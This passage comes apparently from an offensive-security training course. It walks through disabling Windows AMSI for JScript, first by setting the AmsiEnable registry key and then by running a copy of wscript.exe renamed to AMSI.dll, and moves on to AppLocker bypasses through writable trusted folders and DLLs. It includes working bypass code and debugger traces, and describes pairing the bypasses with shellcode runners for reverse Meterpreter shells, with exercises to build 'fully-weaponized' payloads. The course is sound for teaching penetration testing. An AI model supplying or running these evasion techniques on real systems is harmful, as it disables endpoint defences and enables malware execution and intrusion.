jscript!JAmsi::JAmsiIsEnabledByRegistry:
00007fff`a3a868c4 48894c2408      mov     qword ptr [rsp+8],rcx ss:000000e5`933bcfc0=000000e5933bd098

Listing 63 - Setting a breakpoint on
AmsiScanBuffer

The breakpoint is triggered and we can now track the execution of the
function.

Since jscript.dll is not loaded when we set the breakpoint, we
cannot use bp and must instead use the unresolved breakpoint command
bu that tracks loaded modules. As soon as jscript.dll is loaded, it
will set the breakpoint automatically.

Next, we'll unassemble the beginning of the function to better
understand the function's layout:

0:000> u rip L20
jscript!JAmsi::JAmsiIsEnabledByRegistry:
00007fff`a3a868c4 48894c2408      mov     qword ptr [rsp+8],rcx
00007fff`a3a868c9 53              push    rbx
00007fff`a3a868ca 4883ec30        sub     rsp,30h
00007fff`a3a868ce 8b05183e0a00    mov     eax,dword ptr [jscript!g_AmsiEnabled (00007fff`a3b2a6ec)]
00007fff`a3a868d4 85c0            test    eax,eax
00007fff`a3a868d6 0f8480000000    je      jscript!JAmsi::JAmsiIsEnabledByRegistry+0x98 (00007fff`a3a8695c)
00007fff`a3a868dc 7f76            jg      jscript!JAmsi::JAmsiIsEnabledByRegistry+0x90 (00007fff`a3a86954)
00007fff`a3a868de 488d442458      lea     rax,[rsp+58h]
00007fff`a3a868e3 41b919000200    mov     r9d,20019h
00007fff`a3a868e9 4533c0          xor     r8d,r8d
00007fff`a3a868ec 4889442420      mov     qword ptr [rsp+20h],rax
00007fff`a3a868f1 488d15e8cb0800  lea     rdx,[jscript!`string' (00007fff`a3b134e0)]
00007fff`a3a868f8 48c7c101000080  mov     rcx,0FFFFFFFF80000001h
00007fff`a3a868ff ff15f3a60800    call    qword ptr [jscript!_imp_RegOpenKeyExW (00007fff`a3b10ff8)]
00007fff`a3a86905 85c0            test    eax,eax
00007fff`a3a86907 754b            jne     jscript!JAmsi::JAmsiIsEnabledByRegistry+0x90 (00007fff`a3a86954)
00007fff`a3a86909 488b4c2458      mov     rcx,qword ptr [rsp+58h]
00007fff`a3a8690e 488d442440      lea     rax,[rsp+40h]
00007fff`a3a86913 4889442428      mov     qword ptr [rsp+28h],rax
00007fff`a3a86918 4c8d4c2448      lea     r9,[rsp+48h]
00007fff`a3a8691d 488d442450      lea     rax,[rsp+50h]
00007fff`a3a86922 c744244004000000 mov     dword ptr [rsp+40h],4
00007fff`a3a8692a 4533c0          xor     r8d,r8d
00007fff`a3a8692d 4889442420      mov     qword ptr [rsp+20h],rax
00007fff`a3a86932 488d1587cb0800  lea     rdx,[jscript!`string' (00007fff`a3b134c0)]
00007fff`a3a86939 ff15b1a60800    call    qword ptr [jscript!_imp_RegQueryValueExW (00007fff`a3b10ff0)]
00007fff`a3a8693f 488b4c2458      mov     rcx,qword ptr [rsp+58h]
00007fff`a3a86944 8bd8            mov     ebx,eax
00007fff`a3a86946 ff158ca60800    call    qword ptr [jscript!_imp_RegCloseKey (00007fff`a3b10fd8)]
00007fff`a3a8694c 85db            test    ebx,ebx
00007fff`a3a8694e 0f84144e0200    je      jscript!JAmsi::JAmsiIsEnabledByRegistry+0x24ea4 (00007fff`a3aab768)
00007fff`a3a86954 b001            mov     al,1

Listing 64 - Unassembling start of
JAmsi::JAmsiIsEnabledByRegistry

The highlighted call to the Win32 RegOpenKeyExW[381] API
opens the registry key, which is supplied as the second argument. Due
to the _fastcall calling convention, the second argument is supplied
in RDX and in this instance is equal to 7fff`a3b134e0. We can display
the contents at that address with WinDbg to identify the registry key:

0:000> du 00007fff`a3b134e0
00007fff`a3b134e0  "SOFTWARE\Microsoft\Windows Scrip"
00007fff`a3b13520  "t\Settings"

Listing 65 - Registry path given as argument
to RegOpenKeyExW

This reveals the SOFTWARE\Microsoft\Windows Script\Settings
registry path.

A subsequent call to RegQueryValueExW[382] highlighted in
Listing 64 is used to query the registry value.
The name of the registry key is also supplied as the second argument
(RDX) to this API so we can dump it in WinDbg:

0:000> du 7fff`a3b134c0
00007fff`a3b134c0  "AmsiEnable"

Listing 66 - Registry key given as argument to
RegQueryValueExW

We now have the full path to the registry key. In order to bypass
AMSI, we'll create the key and set its value to "0" with the
RegWrite[383] method from the WScript.Shell object. This
method accepts the full registry key, the value content, and the value
data type as shown in the Jscript code below:

var sh = new ActiveXObject('WScript.Shell');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
sh.RegWrite(key, 0, "REG_DWORD");

Listing 67 - Creating and writing the registry
key AmsiEnable

Now that the registry key is set, let's rerun the previous
DotNetToJscript-converted shellcode runner with the included sleep
timer and invoke Frida to hook the AMSI APIs:

C:\Users\Offsec> frida-trace -p 5772  -x amsi.dll -i Amsi*
Instrumenting functions...
AmsiOpenSession: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiOpenSession.js"
AmsiUninitialize: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiUninitialize.js"
AmsiScanBuffer: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiScanBuffer.js"
AmsiUacInitialize: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiUacInitialize.js"
AmsiInitialize: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiInitialize.js"
AmsiCloseSession: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiCloseSession.js"
AmsiScanString: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiScanString.js"
AmsiUacUninitialize: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiUacUninitialize.js"
AmsiUacScan: Loaded handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiUacScan.js"
Started tracing 9 functions. Press Ctrl+C to stop.
Process terminated

Listing 68 - No calls to AMSI APIs are
performed

According to this output (Listing 68),
AmsiScanBuffer and AmsiScanString were not invoked. In addition,
our shellcode runner generates a reverse Meterpreter shell. This
bypass works very well!

Although this bypass was successful, it only works if the registry
key is set before the wscript.exe process is started. Let's improve our
technique by implementing a check for the AmsiEnable registry
key. If it exists, we'll execute the shellcode runner, but if it
doesn't, we'll create it and execute the Jscript again.

The full code, excluding the shellcode runner itself, is shown in
Listing 69.[384]

var sh = new ActiveXObject('WScript.Shell');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
try{
	var AmsiEnable = sh.RegRead(key);
	if(AmsiEnable!=0){
	throw new Error(1, '');
	}
}catch(e){
	sh.RegWrite(key, 0, "REG_DWORD");
	sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} "+WScript.ScriptFullName,0,1);
	sh.RegWrite(key, 1, "REG_DWORD");
	WScript.Quit(1);
}

Listing 69 - AMSI bypass by setting the
AmsiEnable key

Let's unpack a few elements of this code. First, the code is wrapped
in try and catch exception handling statements.[385]

As in many other languages, the code inside the try bracket is
executed and if an exception occurs, the code inside the catch
statement is executed. Otherwise, execution will continue past the
try and catch statements.

Inside the try statement, we call RegRead[386] to determine
if the AmsiEnable key is already set. If it isn't, the
throw[387] statement along with the new Error[388]
constructor throws a new exception. If this happens, the code inside
the catch statement is executed, setting the AmsiEnable
value and invoking the Run[389] method.

The arguments for the call to the Run method are important. First,
we specify the cscript.exe[390] executable, which is the
command-line equivalent of wscript.exe.

Next, we use -e to specify which scripting engine
will execute the script. The highlighted value in Listing
69 is a globally unique identifier
(GUID),[391] which when used in this manner may be understood as a
registry entry under HKLM\SOFTWARE\Classes\CLSID.

If we navigate to the registry path and locate the key with the
correct GUID, we'll find an entry associated with Jscript and
jscript.dll as displayed in Figure 11.

Figure 11: GUID registry entry for jscript.dll

In essence, the -e option indicates that the specified script
file will be processed by jscript.dll.

The script file must be the original Jscript and we provide this
through the ScriptFullName[392] property as shown in Listing
70, where we repeat the Run method.

sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} "+WScript.ScriptFullName,0,1);

Listing 70 - Recap of the Run method
invocation

As highlighted in Listing 70, we supply an
additional two arguments to the Run method after the script file.
The first is the windows style where "0" specifies that the window
be hidden. For the second argument, we specify "1", which will cause
execution to wait for the script executed by the Run method to be
completed.

With this bypass in place, we can prepend it to the
DotNetToJscript-generated shellcode runner. When we run it, we bypass
AMSI and generate a reverse shell.

Exercises

  1. Set the registry key and check that AMSI is bypassed.
  2. Combine the AMSI bypass with the shellcode runner, writing
    fully-weaponized client-side code execution with Jscript.
  3. Experiment with SharpShooter to generate the same type of payload
    with an AMSI bypass.

I Am My Own Executable

The bypass presented in the previous section disabled AMSI by setting
a registry key, which is very different than the approach we used to
disable AMSI from PowerShell.

For PowerShell, we focused on causing an error with AMSI-related
information or modifying the AMSI APIs to return an error. In this
section, we'll perform a simple trick to obtain a similar result.

While we cannot locate any of the structures to interact with the
Win32 APIs from Jscript, we know that AMSI requires AMSI.DLL.
If we could prevent AMSI.DLL from loading or load our own
version of it, we could force the AMSI implementation in wscript.exe
to produce an error and abort.

While it seems logical to attempt to simply overwrite
AMSI.DLL, we must have administrative permissions to overwrite
anything in C:\Windows\System32. We could, however, perform
a DLL hijacking attack[393] by exploiting the DLL search order.

To determine if this is possible, we'll use WinDbg to inspect the
AMSI.DLL loading process. To do this, we'll once again launch
the wscript.exe process through File > Open Executable..., and
open the unmodified DotNetToJscript shellcode runner Jscript file.

Once WinDbg has launched wscript.exe and a bare minimum of
modules, it breaks the execution flow. Listing the loaded modules
(lm)[394] and searching for a module named amsi (m
amsi) reveals that AMSI.DLL has not yet loaded.

0:000> lm m amsi
Browse full module list
start             end                 module name

Listing 71 - AMSI.DLL is not yet loaded into the
process

At this point, we need to determine what, exactly, is loading
AMSI.DLL. To determine this, we must stop WinDbg as soon as
this DLL is loaded.

One way to accomplish this is to instruct the debugger to catch the
load of the DLL in WinDbg. We can do this with the sxe[395]
command along with the ld[396] subcommand to detect when a
module is loaded by supplying the name as an argument.

The full command and the resulting output is shown in Listing
72.

0:000> sxe ld amsi

0:000> g
ModLoad: 00007fff`d3350000 00007fff`d337e000   C:\Windows\System32\IMM32.DLL
ModLoad: 00007fff`cf4d0000 00007fff`cf4e1000   C:\Windows\System32\kernel.appcore.dll
ModLoad: 00007fff`cdad0000 00007fff`cdb6c000   C:\Windows\system32\uxtheme.dll
ModLoad: 00007fff`cf280000 00007fff`cf31b000   C:\Windows\SYSTEM32\sxs.dll
ModLoad: 00007fff`d2700000 00007fff`d286a000   C:\Windows\System32\MSCTF.dll
ModLoad: 00007fff`cdee0000 00007fff`cdf0e000   C:\Windows\system32\dwmapi.dll
ModLoad: 00007fff`d01b0000 00007fff`d038b000   C:\Windows\System32\CRYPT32.dll
ModLoad: 00007fff`cf4b0000 00007fff`cf4c2000   C:\Windows\System32\MSASN1.dll
ModLoad: 00007fff`cfd80000 00007fff`cfd97000   C:\Windows\System32\CRYPTSP.dll
ModLoad: 00007fff`d2b00000 00007fff`d2ba2000   C:\Windows\System32\clbcatq.dll
ModLoad: 00007fff`a3a70000 00007fff`a3b41000   C:\Windows\System32\jscript.dll
ModLoad: 00007fff`d3000000 00007fff`d3052000   C:\Windows\System32\SHLWAPI.dll
ModLoad: 00007fff`c6e20000 00007fff`c6e34000   C:\Windows\SYSTEM32\amsi.dll
ntdll!NtMapViewOfSection+0x14:
00007fff`d351ea94 c3              ret

0:000> lm m amsi
Browse full module list
start             end                 module name
00007fff`c6e20000 00007fff`c6e34000   amsi       (deferred)   

Listing 72 - WinDbg breaking when AMSI.DLL is loaded

In the highlighted section of Listing 72,
AMSI.DLL is loaded and the lm command correctly
displays it as in the process.

Next, we need to locate the code responsible for loading
AMSI.DLL. A DLL is typically loaded through the Win32
LoadLibrary[249-1] or LoadLibraryEx[397] APIs so we must
look for that function and see what function invoked it.

We are searching for the callstack or the backtrace, which is the
list of called functions that led to the current execution point. We
can list this with the kk command as shown in Listing
73.

0:000> k
 # Child-SP          RetAddr           Call Site
00 00000085`733ec8f8 00007fff`d34ca369 ntdll!NtMapViewOfSection+0x14
01 00000085`733ec900 00007fff`d34ca4b7 ntdll!LdrpMinimalMapModule+0x101
02 00000085`733ec9c0 00007fff`d34cbcfd ntdll!LdrpMapDllWithSectionHandle+0x1b
03 00000085`733eca20 00007fff`d34cd75a ntdll!LdrpMapDllNtFileName+0x189
04 00000085`733ecb20 00007fff`d34ce21f ntdll!LdrpMapDllSearchPath+0x1de
05 00000085`733ecd80 00007fff`d34c5496 ntdll!LdrpProcessWork+0x123
06 00000085`733ecde0 00007fff`d34c25e4 ntdll!LdrpLoadDllInternal+0x13e
07 00000085`733ece60 00007fff`d34c1874 ntdll!LdrpLoadDll+0xa8
08 00000085`733ed010 00007fff`cff40391 ntdll!LdrLoadDll+0xe4
09 00000085`733ed100 00007fff`a3a84ed8 KERNELBASE!LoadLibraryExW+0x161
0a 00000085`733ed170 00007fff`a3a84c6c jscript!COleScript::Initialize+0x2c
0b 00000085`733ed1a0 00007fff`d2cffda1 jscript!CJScriptClassFactory::CreateInstance+0x5c
...

Listing 73 - The current callstack when AMSI.DLL is
being loaded

Since the callstack is often very long, the listing above has
been truncated. The excerpt reveals the call to LoadLibraryExW,
which loaded AMSI.DLL along with its calling function
COleScript::Initialize.

We can unassemble the function in the callstack to inspect the
arguments supplied to LoadLibraryExW:

0:000> u jscript!COleScript::Initialize LA
jscript!COleScript::Initialize:
00007fff`a3a84eac 48895c2418      mov     qword ptr [rsp+18h],rbx
00007fff`a3a84eb1 4889742420      mov     qword ptr [rsp+20h],rsi
00007fff`a3a84eb6 48894c2408      mov     qword ptr [rsp+8],rcx
00007fff`a3a84ebb 57              push    rdi
00007fff`a3a84ebc 4883ec20        sub     rsp,20h
00007fff`a3a84ec0 488bf9          mov     rdi,rcx
00007fff`a3a84ec3 33d2            xor     edx,edx
00007fff`a3a84ec5 41b800080000    mov     r8d,800h
00007fff`a3a84ecb 488d0ddee40800  lea     rcx,[jscript!`string' (00007fff`a3b133b0)]
00007fff`a3a84ed2 ff15d0c10800    call    qword ptr [jscript!_imp_LoadLibraryExW (00007fff`a3b110a8)]

0:000> du 7fff`a3b133b0
00007fff`a3b133b0  "amsi.dll"

Listing 74 - COleScript::Initialize is loading
AMSI.DLL

According to the LoadLibraryExW[397-1] function prototype,
the first argument is the name of the DLL to load. The last lines of
Listing 74 reveals that the name of the DLL is
"amsi.dll", listed without a full path.

This is significant considering the DLL search order.[398]
When a full path is not provided, the folder of the launched
application is searched first. If we copy wscript.exe to a
writable location and place a custom version of AMSI.DLL in
the same folder, this could open up an attack vector.

However, LoadLibraryExW can accept additional arguments and the
third argument modifies the function's default behavior. In this
case, R8 (the third argument) is set to 0x800 (as highlighted in
Listing 74). This is equivalent to the enum
LOAD_LIBRARY_SEARCH_SYSTEM32, which forces the function to search
in the C:\Windows\System32 directory first.

This prevents a DLL hijacking attack. Security researcher James
Forshaw discovered an interesting way around this.[213-1] Instead
of trying to hijack the DLL loading, James suggests renaming
wscript.exe to amsi.dll and executing it.

There are two important things to note about this approach. First,
if a process named "amsi.dll" tries to load a DLL of the same name,
LoadLibraryExW will report that it's already in memory and abort the
load to improve efficiency. Obviously, any subsequent attempts to use
the AMSI APIs will fail, causing AMSI itself to fail and be disabled,
leaving us with an AMSI bypass.

The second important thing to note is that double-clicking or running
a file with a .dll extension will fail since DLLs are
normally loaded, not executed. This behavior is actually caused by
the Win32 ShellExecute[399] API, which is used by cmd.exe.

However, if we instead use the CreateProcess[400] Win32 API,
the file extension is ignored and the file header would be parsed to
determine if it is a valid executable. We cannot directly call this
API, but we can use the Exec[401] method of the WScript.Shell
object since it's just a wrapper for it.

Implementing this AMSI bypass requires a few new actions. When the
Jscript is executed, it will copy wscript.exe to a writable
and executable folder, naming it "amsi.dll". Then, it will execute
this copy while supplying the original Jscript file as in the
previous bypass.

We check for the existence of AMSI.dll with try and catch
statements to determine if the Jscript file is being executed for the
first or the second time.

Our updated bypass code is listed below:

var filesys= new ActiveXObject("Scripting.FileSystemObject");
var sh = new ActiveXObject('WScript.Shell');
try
{
	if(filesys.FileExists("C:\\Windows\\Tasks\\AMSI.dll")==0)
	{
		throw new Error(1, '');
	}
}
catch(e)
{
	filesys.CopyFile("C:\\Windows\\System32\\wscript.exe", "C:\\Windows\\Tasks\\AMSI.dll");
	sh.Exec("C:\\Windows\\Tasks\\AMSI.dll -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} "+WScript.ScriptFullName);
	WScript.Quit(1);
}

Listing 75 - AMSI bypass that renames wscript.exe
to amsi.dll

In the try statement, we first detect if the copied executable
already exists through the FileExists method[402] of
the FileSystemObject object. If it does, we execute the
DotNetToJscript-generated shellcode runner.

If it does not yet exist, we trigger an exception and the
code in the catch section is executed. Here, we use the
CopyFile[403] method to copy wscript.exe into the
C:\Windows\Tasks folder and name it "AMSI.DLL".

Next, we use the Exec method to execute the copied version of
wscript.exe and again process it as a Jscript file, just as we did in
the last section.

When we execute the combined Jscript file, we obtain a reverse
Meterpreter shell but something unexpected happens. An antivirus alert
pops up as shown in Figure 12.

Figure 12: Antivirus alert due to AMSI bypass

In this case, the reverse shell launched (indicating that we bypassed
AMSI) but Windows Defender detected a new process named "amsi.dll"
and flagged our code. In this case, we had a working shell for a brief
period of time, but it was killed as soon as Windows Defender flagged
it. We can work around this by immediately migrating the process,
which will keep our migrated shell alive. Alternatively, we could use
a shellcode runner that performs process injection or hollowing.

Although we have lost the element of stealth by triggering Windows
Defender, this bypass will work against all antivirus vendors that
support AMSI and some products may not even detect the "amsi.dll"
process.

Exercises

  1. Recreate the AMSI bypass by renaming wscript.exe to
    "amsi.dll" and executing it.
  2. Instead of a regular shellcode runner, implement this bypass with
    a process injection or hollowing technique and obtain a Meterpreter
    shell that stays alive after the detection.

Wrapping Up

In this module, we thoroughly investigated the Anti-Malware Scan
Interface and have witnessed its effectiveness against public
tradecraft that relies on PowerShell and Jscript.

We have also successfully bypassed this protection in various ways
that will be very difficult for antivirus vendors to mitigate.

Application Whitelisting

Our analysis of antivirus bypass techniques in the previous module
revealed that AV bypass is fairly straight-forward, even when using
existing tools and frameworks. However, many organizations improve
the security level of their endpoints with application whitelisting
technology, which employs monitoring software that blocks all
applications except those on a pre-defined whitelist. This effectively
blocks custom applications or code, including many tools used by an
attacker to obtain remote access or escalate privileges.

In this module, we'll introduce application whitelisting and explore
a variety of bypass techniques. We will rely on existing and trusted
applications, in a technique known as "Living off the land" (coined in
the LOLBAS and LOLBIN[404] project).

Application whitelisting impacts both our ability to obtain initial
code execution as well as subsequent post-exploitation. In this
module, we'll explore application whitelisting software installed
by default on Microsoft Windows, which is the most common client
endpoint. We'll also develop multiple bypasses and demonstrate how our
existing post-exploitation tools can be reused.

Application Whitelisting Theory and Setup

Application whitelisting is a very effective protection mechanism, but
it can be difficult to manage and deploy at scale, and is not commonly
deployed by larger organizations.

A typical Windows-based application whitelisting solution is installed
as either a filter driver or through the HyperVisor.[405] In this
section, we'll discuss the theory behind these implementations.

Application Whitelisting Theory

The native Microsoft whitelisting implementation leverages a
kernel-mode filter driver and various native kernel APIs.

Specifically, the Microsoft kernel-mode
PsSetCreateProcessNotifyRoutineEx[406] API registers a
notification callback which allows the execution of a provided
kernel-mode function every time a new process is created. Application
whitelisting software uses a custom driver to register a callback
function through this API. This callback is then invoked every time
a new process is created and it allows the whitelisting software to
determine whether or not the application is whitelisted.

If the software determines that the application is allowed, process
creation completes and the code will execute. On the other hand, if
the application is not allowed, the process is terminated, and an
error message may be displayed. As the name suggests, whitelisting
software will block everything except applications specifically
listed in a configurable ruleset.

Microsoft provides multiple native application whitelisting solutions.

Prior to Windows 7, Microsoft introduced the Software Restriction
Policies
(SRP)[407] whitelisting solution. It is still available
but has been superseded by AppLocker,[408] which was
introduced with Windows 7 and is still available in current versions
of Windows 10.

AppLocker components include the kernel-mode driver APPID.SYS
and the APPIDSVC user-mode service. APPIDSVC manages the
whitelisting ruleset and identifies applications when they are run
based on the callback notifications from APPID.SYS.

Third party (bundled) whitelisting solutions include Symantec
Application Control
,[409] Sophos Endpoint: Application
Control
[187-1] and McAfee Application Control.[410]
Each operate similarly by setting notification callbacks with
PsSetCreateProcessNotifyRoutineEx. The bypasses we explore here will
work similarly against these products with minor modifications.

Microsoft recently released a new type of application whitelisting
solution with Windows 10, which is enforced from the HyperVisor,
subsequently operating at a deeper level than kernel-mode solutions.
Originally introduced as Device Guard, it was recently rebranded as
Windows Defender Application Control (WDAC),[411] which performs
whitelisting actions in both user-mode and kernel-mode.

WDAC builds on top of the Virtualization-based Security (VBS)
and HyperVisor Code Integrity (HVCI)[412] concepts, which are
only available on Windows 10 and Server 2016/2019. These concepts
are beyond the scope of this module, but due to the implementation
complexity and strict hardware requirements, it is rarely deployed.

Now that we've briefly discussed the basic application whitelisting
software theory, we'll begin configuring whitelisting rules for
AppLocker, one of the more commonly-deployed solutions. Note that
AppLocker is only available on Enterprise and Ultimate editions of
Windows, which excludes Windows Professional and other versions.

AppLocker Setup and Rules

There are three primary AppLocker rule categories, which can be
combined as needed. The first and most simple rule is based on file
paths.[413] This rule can be used to whitelist a single file
based on its filename and path or recursively include the contents of
a directory.

The second rule type is based on a file hash[414] which may
allow a single file to execute regardless of the location. To avoid
collisions, AppLocker uses a SHA256 Authenticode hash.

The third rule type is based on a digital signature,[415]
which Microsoft refers to as a publisher. This rule could whitelist
all files from an individual publisher with a single signature, which
simplifies whitelisting across version updates.

To get started with a simple case study, we'll set up some basic
AppLocker whitelisting rules. In order to simplify our testing, we'll
login to the Windows 10 victim as "student" since administrators will
be exempt from the rules we'll create.

Let's open an administrative command prompt, enter the "offsec" user
credentials and launch gpedit.msc, the GPO configuration
manager.

In the Local Group Policy Editor, we'll navigate to Local Computer
Policy
-> Computer Configuration -> Windows Settings -> Security
Settings
-> Application Control Policies and select the AppLocker
item as shown in Figure 1.

Figure 1: Main AppLocker menu in Local Group Policy Editor

The rule creation and configuration process consists of several
steps. First, we'll click Configure rule enforcement to open
the properties for AppLocker as highlighted above in Figure

In the Properties menu, we can enable AppLocker rules for Executables,
Windows Installer files, scripts, and packaged apps:

Figure 2: AppLocker properties

This will set four rule properties which enable enforcement for
four separate file types. The first property relates specifically
to executables with the .exe file extension and the second
relates to Windows Installer files[416] which use the ".msi" file
extension.

The third property relates to PowerShell scripts, Jscript scripts,
VB scripts and older file formats using the .cmd and
.bat file extensions. This property does not include any
third-party scripting engines like Python nor compiled languages like
Java.

The fourth property relates to Packaged Apps[417] (also known
as Universal Windows Platform (UWP) Apps) which include applications
that can be installed from the Microsoft App store.

For each of these four categories, we will select "Configured". In
addition, we can choose to "Enforce rules" to enable the rule and
enforce whitelisting or "Audit only" which will allow execution and
write an entry to the Windows event log.

We'll configure AppLocker to enforce rules for all four
categories, click Apply and OK to close the window.

Next, we must configure rules for each of these four categories. We'll
do this from the options in the lower part of the main window titled
"Overview", as displayed in Figure 3.

Figure 3: Options to configure rules for each of the file type categories

We'll first click Executable Rules to open a new window where we can
enter the whitelisting rules related to each specific property.

Right-clicking the pane presents two options for rule creation. The
first is "Create New Rule..." which will let us define a custom rule
based on any of the three rule types. The second, "Create Default
Rules", will automatically apply the default AppLocker rules.

We'll begin with the default rules, which will be easier to work
with. As we progress through the module, we'll add additional rules to
further harden the box.

Once we've chosen to apply the default rules, they will be added to
the pane as shown in Figure 4.

Figure 4: Options to configure rules for each of the file type categories

This should block all applications except those explicitly allowed.

Specifically, the two first rules will allow all users to run
executables in C:\Program Files, C:\Program Files
(x86), and C:\Windows recursively, including
executables in all subfolders. This allows basic operating system
functionality but prevents non-administrative users from writing in
these folders due to default access rights.

The third rule allows members of the administrative group to run any
executables they desire.

The other three categories have similar default rules. We'll enable
them to configure basic application whitelisting protection on our
Windows 10 victim VM.

Once we have created all the default rules, we must close the Local
Group Policy Editor, and run gpupdate /force from the admin
command prompt to refresh the active group policies.

Now that AppLocker is configured and enabled, non-admin users
should not be able to execute any executable or script outside
C:\Program Files, C:\Program Files (x86) and
C:\Windows.

To test this, we'll start a command prompt as "student" in a non-admin
context. We'll copy the native calc.exe executable from
C:\Windows\System32 into the current directory and attempt
to execute it (Listing 1).

C:\Users\student>copy C:\Windows\System32\calc.exe calc2.exe
        1 file(s) copied.

C:\Users\student>calc2.exe
This program is blocked by group policy. For more information, contact your system administrator.

C:\Users\student>

Listing 1 - AppLocker is blocking the executable from running

The error highlighted in Listing 1 was
generated by AppLocker, which blocked execution. AppLocker logs each
violation in the Windows event log. To view this message, we'll
open "Event Viewer", press G+r, enter "eventvwr",
navigate to Applications and Services Logs -> Microsoft ->
Windows -> AppLocker and click EXE and DLL as shown in Figure
5.

Figure 5: Eventlog entry for AppLocker

The error highlighted in the figure above reveals that execution of
calc2.exe has been blocked.

Exercises

  1. Configure default rules for all four categories of file types and
    enable AppLocker on your Windows 10 victim VM.
  2. Copy an executable to a location outside the whitelisted folders and
    observe how it is blocked by AppLocker when executing it.
  3. Create a small Jscript script, store it outside the whitelisted
    folders and execute it. Is it blocked?

Basic Bypasses

So far, we have walked through the different types of rules and the
categories of file types protected by AppLocker. We have configured
our Windows 10 victim VM with the default AppLocker rules and we're
ready to explore various bypasses.

In the following sections, we'll specifically focus on a variety
of simple bypasses that stem from the relatively poor configuration
enforced through the default rules. We'll also demonstrate bypasses
that leverage limitations of AppLocker itself.

Trusted Folders

The default rules for AppLocker whitelist all executables and
scripts located in C:\Program Files, C:\Program Files
(x86), and C:\Windows. This is a logical choice since
it is assumed that non-admin users cannot write executables or scripts
into these directories.

In this section, we will put this assumption to the test as we
construct our first (albeit very simple) AppLocker bypass.

In theory, we should be able to execute a program or script in a
subdirectory that allows both write and execute. If we can find
writable and executable folders on a development machine, we can reuse
the bypass later on a compromised machine which has the same rules
applied.

To locate user-writable folders, we'll use AccessChk
from SysInternals,[418] which is located in
C:\Tools\SysInternalsSuite on our Windows 10 victim VM. For
this test, we'll execute it from an administrative command prompt to
avoid potential AppLocker restrictions.

We'll search C:\Windows with AccessChk, using -w
to locate writable directories, -u to suppress any errors and
-s to recurse through all subdirectories:

C:\Tools\SysinternalsSuite>accesschk.exe "student" C:\Windows -wus

Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com

RW C:\Windows\Tasks
RW C:\Windows\Temp
RW C:\Windows\tracing
RW C:\Windows\Registration\CRMLog
RW C:\Windows\System32\FxsTmp
 W C:\Windows\System32\Tasks
RW C:\Windows\System32\AppLocker\AppCache.dat
RW C:\Windows\System32\AppLocker\AppCache.dat.LOG1
RW C:\Windows\System32\AppLocker\AppCache.dat.LOG2
 W C:\Windows\System32\Com\dmp
RW C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
 W C:\Windows\System32\spool\PRINTERS
 W C:\Windows\System32\spool\SERVERS
RW C:\Windows\System32\spool\drivers\color
RW C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-50316519-3845643015-1778048971-1002
...

Listing 2 - Enumeration of writable subfolders in C:\Windows with AccessChk

Surprisingly, the original output returned by the command is quite
lengthy. The full output reveals 29 writeable subdirectories. Next, we
must determine if any of them are also executable.

We'll use the native icacls[419] tool from an
administrative command prompt to check each of the writable folders.
For example, we'll first check the C:\Windows\Tasks
directory:

C:\Tools\SysinternalsSuite>icacls.exe C:\Windows\Tasks
C:\Windows\Tasks NT AUTHORITY\Authenticated Users:(RX,WD)
                 BUILTIN\Administrators:(F)
                 BUILTIN\Administrators:(OI)(CI)(IO)(F)
                 NT AUTHORITY\SYSTEM:(F)
                 NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                 CREATOR OWNER:(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

Listing 3 - Using icacls to check if a folder is executable

The output indicates the RX flag (associated with the
NT AUTHORITY\Authenticated Users group) is set for
C:\Windows\Tasks, meaning that any user on the system will
have both read and execute permissions within the directory. Based on
the output of these tools, the student user will have both write and
execute permissions within this directory.

To test this out, we'll copy calc.exe to
C:\Windows\Tasks and execute it, as shown in Figure
6.

Figure 6: Bypassing AppLocker through a whitelisted folder

The program runs, indicating that we have bypassed the default
AppLocker application whitelisting rules.

Exercises

  1. Repeat the analysis to verify that C:\Windows\Tasks is
    both writable and executable for the "student" user. Execute a copied
    executable from this directory.
  2. Locate another directory in C:\Windows that could be used
    for this bypass.
  3. Copy a C# shellcode runner executable into one of the writable and
    executable folders and bypass AppLocker to obtain a reverse shell.
  4. Create a custom AppLocker rule to block the folder
    C:\Windows\Tasks. Make it a path rule of type deny.
    Consult the online documentation if needed.

Bypass With DLLs

In the previous sections, we relied on basic AppLocker rules, ignoring
rule types associated with dynamic link libraries. The default ruleset
doesn't protect against loading arbitrary DLLs. If we were to create
an unmanaged DLL, we would be able to load it and trigger exported
APIs to gain arbitrary code execution.

Let's demonstrate this with an unmanaged DLL. We'll use a simple
unmanaged DllMain function along with an exported run function
that opens a message box when executed:

#include "stdafx.h"
#include <Windows.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

extern "C" __declspec(dllexport) void run()
{
	MessageBoxA(NULL, "Execution happened", "Bypass", MB_OK);
}

Listing 4 - C code for an unmanaged DLL that opens a message box

This code has already been compiled and saved as
C:\Tools\TestDll.dll on the Windows 10 victim VM.

To load an unmanaged DLL, we'll use the native rundll32
tool which accepts the full path to the DLL along with the exported
function to execute, as shown in Figure 7.

